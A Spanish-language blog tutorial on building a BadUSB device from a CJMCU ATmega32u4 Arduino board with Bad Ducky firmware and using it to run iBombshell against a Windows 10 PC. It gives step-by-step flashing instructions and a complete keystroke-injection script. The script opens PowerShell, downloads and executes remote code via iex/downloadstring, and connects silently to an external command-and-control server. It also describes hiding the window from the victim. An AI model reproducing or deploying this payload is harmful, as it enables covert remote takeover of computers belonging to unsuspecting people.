Seleccionar página

En este entrada vamos a mostrar como obtener el control de un ordenador utilizando una placa de arduino basada en ArDucky y la herramienta iBombshell.

1. Instalación de Arduino IDE

Para la realización de la práctica utilizaremos un equipo con Windows 10 x64. Por lo cual, para poder flashear el firmware en la placa Arduino, simplemente tenemos que instalar la versión de Arduino IDE correspondiente a dicho sistema operativo.

Lo primero de todo es descargarla desde su página web: https://www.arduino.cc/download_handler.php?f=/arduino-1.8.9-windows.exe

El proceso de instalación es simple, únicamente seleccionamos siguiente y marcamos en las opciones de instalación la opción Install USB Driver. Y continuamos la instalación hasta finalizarla.

Instalación de Arduino IDE

2. Compilación y flasheo del firmware

En esta práctica vamos a utilizar la placa Arduino CJMCU BadUSB que está basada en el chip ATMEGA32u4. Dicha placa es un clon de la Arduino Leonardo que se comercializa a través de vendedores como Aliexpress o Bangood. En mi caso he optado por comprar la de Bangood.

Arduino CJMCU basada en ATMEGA32u4

Teniendo en cuenta el chip que integra esta placa, utilizaremos el firmware Bad Ducky por su compatibilidad con el chip ATMEGA32U4. Lo primero de todo es clonar el repositorio del firmware. Para ello simplemente abrimos el cliente de Git y ejecutamos el comando:

git clone https://github.com/mharjac/bad_ducky.git
Clonado de firmware

Una vez hemos clonado el repositorio, podemos cargar el firmware en el Arduino IDE. Para ello nos dirigimos a Archivo -> Abrir -> y seleccionamos el archivo bad_ducky.ino. Hecho esto, seleccionamos la placa en la que va a ser flasheado el firmware. Para ello, nos dirigimos a Herramientas -> Placa -> y seleccionamos Arduino Leonardo. Una vez hecho esto, ya podemos compilar el programa simplemente haciendo click en Programa -> Verificar/Compilar o pulsando la combinación Crtl+R.

Compilación del firmware

Una vez compilado, conectamos la placa Arduino CJMCU BadUSB al puerto USB del ordenador y pulsamos en Programa -> Subir o con la combinación Ctrl+U. Esto nos flasheará el firmware en la placa y ya la tendremos disponible para cargar los scripts.

3. Desarrollo y ejecución de los scripts

Una vez que hemos flasheado el firmware Bad Ducky, podemos desarrollar scripts con la funcionalidad que queremos que lleve a cabo, cargarlos en una tarjeta SD e insertar dicha tarjeta SD en la placa para que se ejecuten al conectarla al USB de un ordenador.

Para que los scripts de la tarjeta SD se puedan ejecutar, es necesario cumplir una serie de requisitos:

  1. La tarjeta SD debe estar formateada en FAT32.
  2. El nombre del script tiene que ser de máximo 8 caracteres y con una extensión de fichero de 3 caracteres. Ejemplo: script1.txt
  3. El editor de texto debe soportar el carácter de final de línea Unix LF.

En este caso vamos a desarrollar un script que nos permita lanzar un warrior de iBombshell para controlar la máquina remotamente a través de un panel de Comand&Control (C2). Dicho warrior se lanzará en una ventana de Powershell que será escondida al usuario para minimizar el riesgo de ser descubierta (ver https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payload—hide-cmd-window).

El script realizado es el siguiente:

REM Objetivo: WINDOWS 10
REM Ejecuta un warrior de ibombshell conectándose a un C2 
DELAY 2000
GUI r
DELAY 1000
STRING powershell iex (new-object net.webclient).downloadstring('https://raw.githubusercontent.com/ElevenPaths/ibombshell/master/console'); console -Silently -uriConsole http://cristiantrapero.es:8080 
DELAY 500
ENTER

Como podemos observar el script realizado es muy sencillo, lo único que hace es abrir la aplicación Ejecutar de Windows y lanzar una powershell que obtiene una conexión a un C2 de iBombshell que está ejecutándose en un servidor remoto.

Este script se guardará en una tarjeta SD tal y como hemos descrito en los requisitos. Dicha tarjeta se conectará a nuestra placa Bad Ducky, y en la primera conexión deberemos de configurar nuestro Bad Ducky para seleccionar el layout del teclado utilizado por la víctima, el modo de ejecución y el script a ejecutar.

Para realizar el procedimiento comentado anteriormente, arrancamos Arduino IDE, conectamos nuestro Bad Ducky y abrimos el monitor serie de Arduino en Herramientas -> Monitor Serie. Aquí iremos introduciendo cada una de las opciones escribiendo en la parte superior de la ventana y pulsando Enviar.

En este caso concreto queremos que cada vez que se conecte el USB a un PC, se lance la ejecución del script, por tanto el modo de entrada será de tipo continuo (c). Mi distribución de teclado es inglesa, por lo cual el lenguaje será en y el payload a ejecutar, el que hemos descrito anteriormente. Por tanto, la configuración sería la descrita en la Ilustración 6.

Configuración de Bad Ducky

Hecho esto, ya simplemente con desconectar el Bad Ducky y conectarlo a un PC con Windows, se ejecutará el script.

Para ilustrar el funcionamiento, muestro el siguiente vídeo en el que configuro el listener de iBombshell en el servidor de c2c, introduzco el USB en el ordenador a infectar y lanzo la ejecución de la calculadora del sistema de forma remota.

Referencias: